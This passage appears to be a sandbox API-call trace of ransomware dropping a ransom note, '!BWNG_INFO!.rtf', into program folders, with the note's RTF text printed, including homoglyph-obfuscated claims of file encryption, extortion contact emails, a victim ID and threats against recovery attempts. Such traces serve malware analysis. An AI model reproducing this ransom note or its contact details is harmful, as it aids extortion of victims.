b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\nt\x15F=\x89\x7fSÜÐÓ\x08\x15h|¢IªÓ]a\x0fª¥Gë`07", lpUsedDefaultChar=0x0) returned 14086 [0034.974] WriteFile (in: hFile=0x1b0, lpBuffer=0x1de8de8*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x1de8de8*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0034.976] CloseHandle (hObject=0x1b0) returned 1 [0034.976] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\!bwng_info!.rtf")) returned 0xffffffff [0034.976] GetLastError () returned 0x2 [0034.976] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0034.976] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 